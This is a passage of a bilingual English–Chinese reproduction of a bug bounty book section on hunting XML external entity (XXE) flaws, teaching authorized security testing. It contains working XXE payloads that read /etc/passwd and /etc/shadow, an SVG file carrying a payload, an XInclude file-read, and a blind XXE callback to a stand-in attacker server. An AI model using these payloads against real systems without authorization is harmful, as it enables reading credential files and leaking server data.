- The Guide to Finding and Reporting Web Vulnerabilities
- About the Author
- About the Tech Reviewer
- Foreword
- Introduction
- Who This Book Is For
- What Is In This Book
- Happy Hacking!
- 1 Picking a Bug Bounty Program
- 2 Sustaining Your Success
- 3 How the Internet Works
- 4 Environmental Setup and Traffic Interception
- 5 Web Hacking Reconnaissance
- 6 Cross-Site Scripting
- 7 Open Redirects
- 8 Clickjacking
- 9 Cross-Site Request Forgery
- 10 Insecure Direct Object References
- 11 SQL Injection
- 12 Race Conditions
- 13 Server-Side Request Forgery
- 14 Insecure Deserialization
- 15 XML External Entity
- 16 Template Injection
- 17 Application Logic Errors and Broken Access Control
- 18 Remote Code Execution
- 19 Same-Origin Policy Vulnerabilities
- 20 Single-Sign-On Security Issues
- 21 Information Disclosure
- 22 Conducting Code Reviews
- 23 Hacking Android Apps
- 24 API Hacking
- 25 Automatic Vulnerability Discovery Using Fuzzers
Hunting for XXEs
To find XXEs, start with locating the functionalities that are prone to them. This includes anywhere that the application receives direct XML input, or receives input that is inserted into XML documents that the application parses.
寻找 XXE 攻击,要先定位容易受攻击的功能区。这包括应用程序直接接收 XML 输入的地方,或接收插入到应用程序解析的 XML 文档中的输入。
Step 1: Find XML Data Entry Points
Many applications use XML data to transfer information within HTTP messages. To look for these endpoints, you can open up your proxy and browse the target application. Then, find XML-like documents in HTTP messages by looking for the previously mentioned tree-like structures, or by looking for the signature of an XML document: the string "<?xml"
.
许多应用程序使用 XML 数据在 HTTP 消息中传输信息。要查找这些端点,您可以打开代理并浏览目标应用程序。然后,通过查找先前提到的树状结构或查找 XML 文档的签名:字符串"<?xml"在 HTTP 消息中找到类似 XML 的文档。
Keep an eye out for encoded XML data in the application as well. Sometimes applications use base64- or URL-encoded XML data for ease of transportation. You can find these XML entry points by decoding any blocks of data that look suspicious. For example, a base64-encoded block of XML code tends to start with LD94bWw
, which is the base64-encoded string of "<?xml"
.
请注意应用程序中编码的 XML 数据,有时应用程序使用 Base64 或 URL 编码的 XML 数据以方便传输。您可以通过解码任何看起来可疑的数据块来查找这些 XML 入口点。例如,Base64 编码的 XML 代码块通常以 LD94bWw 开头,这是"<?xml"的 Base64 编码字符串。
Besides searching for XML within HTTP messages, you should also look for file-upload features. This is because XML forms the basis of many common file types. If you can upload one of these file types, you might be able to smuggle XML input to the application’s XML parser. XML can be written into document and image formats like XML, HTML, DOCX, PPTX, XLSX, GPX, PDF, SVG, and RSS feeds. Furthermore, metadata embedded within images like GIF, PNG, and JPEG files are all based on XML. SOAP web services are also XML based. We’ll talk more about SOAP in Chapter 24 .
除了在 HTTP 消息中搜索 XML 之外,还应查找文件上传功能。这是因为 XML 构成了许多常见文件类型的基础。如果您可以上传其中一种文件类型,则可能能够将 XML 输入走私到应用程序的 XML 解析器中。XML 可以编写为文档和图像格式,例如 XML、HTML、DOCX、PPTX、XLSX、GPX、PDF、SVG 和 RSS 订阅。此外,嵌入在像 GIF、PNG 和 JPEG 文件中的元数据都是基于 XML 的。 SOAP Web 服务也是基于 XML 的。我们将在第 24 章中更详细地讨论 SOAP。
In addition to looking for locations where the application accepts XML data by default, you can try to force the application into parsing XML data. Sometimes endpoints take plaintext or JSON input by default but can process XML input as well. On endpoints that take other formats of input, you can modify the Content-Type
header of your request to one of the following headers:
除了寻找应用程序默认接受 XML 数据的位置,您还可以尝试强制应用程序解析 XML 数据。有时,默认接受纯文本或 JSON 输入的端点也可以处理 XML 输入。在接受其他格式输入的端点上,您可以修改请求的 Content-Type 标题为以下标题之一:
Content-Type: text/xml
Content-Type: application/xml
Then, try to include XML data in your request body. Sometimes this is all it takes to make the target application parse your XML input.
然后,尝试在请求主体中包含 XML 数据。有时,这就足以使目标应用程序解析您的 XML 输入。
Finally, some applications receive user-submitted data and embed it into an XML document on the server side. If you suspect that is happening, you can submit an XInclude test payload to the endpoint, which I introduce in step 5.
最终,一些应用程序会接收用户提交的数据,并将其嵌入服务器端的 XML 文档中。如果您怀疑正在发生这种情况,您可以将 XInclude 测试负载提交到我在第 5 步介绍的终点。
Step 2: Test for Classic XXE
Once you’ve determined that the endpoints can be used to submit XML data, you can start to test for the presence of functionalities needed for XXE attacks. This usually involves sending a few trial-and-error XXE payloads and observing the application’s response.
一旦确定了终端点可以用于提交 XML 数据,您就可以开始测试是否存在进行 XXE 攻击所需的功能。这通常涉及发送一些尝试和错误的 XXE 负载,并观察应用程序的响应。
If the application is returning results from the parser, you might be able to carry out a classic XXE attack—that is, you can read the leaked files directly from the server’s response. To search for classic XXEs, first check whether XML entities are interpreted by inserting XML entities into the XML input and see if it loads properly:
如果应用程序从解析器返回结果,您可能能够进行经典的 XXE 攻击,也就是,您可以直接从服务器的响应中读取泄露的文件。要搜索经典的 XXE,请首先检查是否通过将 XML 实体插入到 XML 输入中来解释 XML 实体,并查看它是否正确加载:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY test SYSTEM "Hello!">
]>
<example>&test;</example>
Then, test whether the SYSTEM
keyword is usable by trying to load a local file:
然后,尝试通过加载本地文件来测试是否可以使用 SYSTEM 关键字:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY test SYSTEM "file:///etc/hostname">
]>
<example>&test;</example>
When the SYSTEM
keyword does not work, you can replace it with the PUBLIC
keyword instead. This tag requires you to supply an ID surrounded by quotes after the PUBLIC
keyword. The parser uses this to generate an alternate URL for the value of the entity. For our purposes, you can just use a random string in its place:
当 SYSTEM 关键字无法使用时,您可以使用 PUBLIC 关键字代替。该标记需要在 PUBLIC 关键字后面提供带引号的 ID。解析器使用此选项生成实体值的替代 URL。对于我们的目的,您可以使用随机字符串代替。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY test PUBLIC "abc" "file:///etc/hostname">
]>
<example>&test;</example>
Next, try to extract some common system files. You can start with the files /etc/hostname and /etc/passwd , for example. Another file I like to extract using XXEs is .bash_history . This file is typically located at each user’s home directory ( ~/.bash_history ) and contains a list of commands previously executed. By reading this file, you can often uncover juicy information like internal URLs, IP addresses, and file locations. Common system files or paths mentioned here can be restricted, so don’t give up if the first few files you try to read do not display.
接着,尝试提取一些常见的系统文件。例如,你可以从文件 /etc/hostname 和 /etc/passwd 开始。另一个我喜欢使用 XXE 提取的文件是 .bash_history。这个文件通常位于每个用户的主目录(~/.bash_history),它包含了之前执行的命令列表。通过阅读此文件,您通常可以发现内部 URL、IP 地址和文件位置等有用信息。这里提到的常见系统文件或路径可能会受到限制,所以如果您试图读取的前几个文件没有显示,请不要放弃。
Step 3: Test for Blind XXE
If the server takes XML input but does not return the XML document in an HTTP response, you can test for a blind XXE instead. Instead of reading files from the server’s response, most blind XXE attacks steal data by having the target server make a request to the attacker’s server with the exfiltrated information.
如果服务器接受 XML 输入但没有在 HTTP 响应中返回 XML 文档,则可以测试盲目的 XXE。大多数盲目的 XXE 攻击并非从服务器响应中读取文件,而是通过让目标服务器向攻击者的服务器发出请求,从而窃取数据。
First, you need to make sure that the server can make outbound connections by having the target make a request to your server. You can set up a callback listener by following the instructions in Chapter 13 . The process for setting up a listener to discover XXEs is the same as setting up to find SSRFs. Try making an external entity load a resource on your machine. To bypass common firewall restrictions, you should test with ports 80 and 443 first, because the target’s firewall might not allow outbound connections on other ports:
首先,您需要确保服务器可以进行出站连接,方法是让目标向您的服务器发送请求。您可以按照第 13 章的说明设置回调监听器。设置监听器以发现 XXE 与设置查找 SSRF 的过程相同。尝试使外部实体在您的机器上加载资源。为了绕过常见的防火墙限制,您应该首先使用 80 和 443 端口进行测试,因为目标的防火墙可能不允许其他端口的出站连接。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY test SYSTEM "http://attacker_server:80/xxe_test.txt">
]>
<example>&test;</example>
You can then search the access logs of your server and look for a request to that particular file. In this case, you’ll be looking for a GET request for the xxe_test.txt file. Once you’ve confirmed that the server can make outbound requests, you can try to exfiltrate files by using the techniques covered in upcoming sections.
然后,您可以搜索服务器的访问日志并查找对该特定文件的请求。在本例中,您将寻找对 xxe_test.txt 文件的 GET 请求。一旦确认服务器可以进行出站请求,就可以尝试使用下面要讨论的技术来窃取文件。
Step 4: Embed XXE Payloads in Different File Types
Besides testing for XXEs on HTTP request bodies, you can try to upload files containing XXE payloads to the server. File-upload endpoints and file parsers are often not protected by the same XXE protection mechanisms as regular endpoints. And hiding your XXE payloads in different file types means that you will be able to upload your payloads even if the application restricts the type of files that can be uploaded.
除了在 HTTP 请求体中测试 XXE 外,您可以尝试上传包含 XXE 载荷的文件到服务器。文件上传端点和文件解析器通常没有像常规端点一样受到相同的 XXE 保护机制保护。而且,将 XXE 载荷隐藏在不同类型的文件中意味着,即使应用程序限制可以上传的文件类型,您也将能够上传您的载荷。
This section presents just a few examples of how to embed XXE payloads in various file types. You should be able to find more examples by searching the internet.
本节仅提供了几个将 XXE 负载嵌入各种文件类型中的示例。您可以通过在互联网上搜索来找到更多示例。
To embed an XXE payload in an SVG image, you need to first open up the image as a text file. Take this SVG image of a blue circle, for example:
嵌入一个 XXE 有效载荷到 SVG 图像中,您需要先将图像作为一个文本文件打开。以这个蓝色圆形的 SVG 图像为例:
<svg width="500" height="500">
<circle cx="50" cy="50" r="40" fill="blue" />
</svg>
Insert the XXE payload by adding a DTD directly into the file and referencing the external entity in the SVG image. You can then save the file as an .svg file and upload it to the server:
将 XXE 负载插入文件中,通过直接在文件中添加 DTD 并在 SVG 图像中引用外部实体。然后,您可以将文件保存为.svg 文件,并上传到服务器:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY test SYSTEM "file:///etc/shadow">
]>
<svg width="500" height="500">
<circle cx="50" cy="50" r="40" fill="blue" />
<text font-size="16" x="0" y="16">&test;</text>
</svg>
Microsoft Word documents ( .docx files), PowerPoint presentations ( .pptx ), and Excel worksheets ( .xlxs ) are archive files containing XML files, so you can insert XXE payloads into them as well. To do so, you should first unzip the document file. For example, I used the Unarchiver software on a Mac to extract the files. You should see a few folders containing XML files ( Figure 15-1 ).
Microsoft Word 文档(.docx 文件)、PowerPoint 演示文稿(.pptx)和 Excel 工作表(.xlxs)均为包含 XML 文件的档案文件,因此您也可以在其中插入 XXE 负载。为此,您首先需要解压缩文档文件。例如,我在 Mac 上使用 Unarchiver 软件提取文件。您应该会看到几个包含 XML 文件的文件夹(图 15-1)。
Then you can simply insert your payload into /word/document.xml , /ppt/presentation.xml , or /xl/workbook.xml . Finally, repack the archives into the .docx , .pptx , or .xlxs format.
然后,您可以将负载简单地插入到/word/document.xml、/ppt/presentation.xml 或/xl/workbook.xml 中。最后,将归档重新打包成.docx、.pptx 或.xlxs 格式。
You can do this by cd
ing into the unarchived folder and running the command zip -r
filename.format *
. The zip
command line utility archives files. The -r
option tells zip
to recursively archive files in directories, filename.format tells zip what the name of the archived file should be, and *
tells zip to archive all files in the current directory. In this case, you can run these commands to create a new DOCX file:
你可以通过进入未归档文件夹并运行命令 zip -r 文件名格式*来完成此操作。 zip 命令行实用程序对文件进行归档。 -r 选项告诉 zip 递归地在目录中归档文件,文件名格式告诉 zip 所归档文件的名称,*告诉 zip 归档当前目录中的所有文件。在这种情况下,您可以运行这些命令来创建新的 DOCX 文件:
cd example
zip -r new_example.docx *
You should see the repacked document appear in the current directory.
你应该能看到重新打包的文档出现在当前目录下。
Step 5: Test for XInclude Attacks
Sometimes you cannot control the entire XML document or edit the DTD of an XML document. But you can still exploit an XXE vulnerability if the target application takes your user input and inserts it into XML documents on the backend.
有时你无法控制整个 XML 文档,或者编辑 XML 文档的 DTD。但是如果目标应用程序接受您的用户输入并将其插入后端的 XML 文档中,您仍然可以利用 XXE 漏洞。
In this situation, you might be able to execute an XInclude attack instead. XInclude is a special XML feature that builds a separate XML document from a single XML tag named xi:include
. If you can control even a single piece of unsanitized data passed into an XML document, you might be able to place an XInclude attack within that value.
在这种情况下,你可能会执行一个 XInclude 攻击。 XInclude 是一种特殊的 XML 功能,可以从一个名为 xi:include 的单个 XML 标记构建单独的 XML 文档。如果您可以控制传递到 XML 文档的未经过滤的数据的任何一个部分,则可能将 XInclude 攻击放置在该值中。
To test for XInclude attacks, insert the following payload into the data entry point and see if the file that you requested gets sent back in the response body:
为测试 XInclude 攻击,请将以下负载插入到数据输入点中,并查看请求的文件是否会发送回响应主体中:
<example xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/hostname"/>
</example>
This piece of XML code does two things. First, it references the http://www.w3.org/2001/XInclude namespace so that we can use the xi:include
element. Next, it uses that element to parse and include the /etc/hostname file in the XML document.
这段 XML 代码有两个作用。首先,它引用了 http://www.w3.org/2001/XInclude 命名空间,以便我们可以使用 xi:include 元素。接下来,它使用该元素来解析并包含 XML 文档中的/etc/hostname 文件。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论